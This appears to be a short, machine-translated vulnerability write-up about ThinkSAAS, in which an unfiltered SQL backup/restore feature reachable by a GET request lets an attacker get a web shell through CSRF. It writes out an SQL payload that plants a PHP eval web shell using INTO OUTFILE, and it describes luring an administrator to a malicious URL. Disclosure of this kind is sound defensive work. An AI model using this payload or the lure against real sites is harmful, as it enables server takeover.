If a function of ThinkSAAS is improperly designed, it may lead to the csrf backend GETSHELL

First, there is a problem with the data backup and restoration area managed by the background system. The SQL parameters are not filtered here. Directly import the SQL parameters and splice the data/baksql/directory to restore the data. Here, the data is restored to determine whether there is a volume shard. If there is no volume Shard, the data is restored directly, the path, type, and content of the SQL file to be backed up are not processed, resulting in any file operation. Next let's take a look at the data recovery operations here: we grab a package: we upload an image at the front end, the image content is: Drop table if exists temp; Create TABLE temp (cmd text not null ); insert INTO temp (cmd) VALUES ("<? Php @ eval ($ _ POST ['cmd']);?> "); Select cmd from temp into outfile 'f:/thinksaas/eval. php '; Drop table if exists temp; replace the SQL file content with the file we uploaded. And most importantly, this is a GET request with the CSRF Vulnerability (as shown in the figure). After we upload a malicious file, lure management to access the malicious url we provide to get the shell.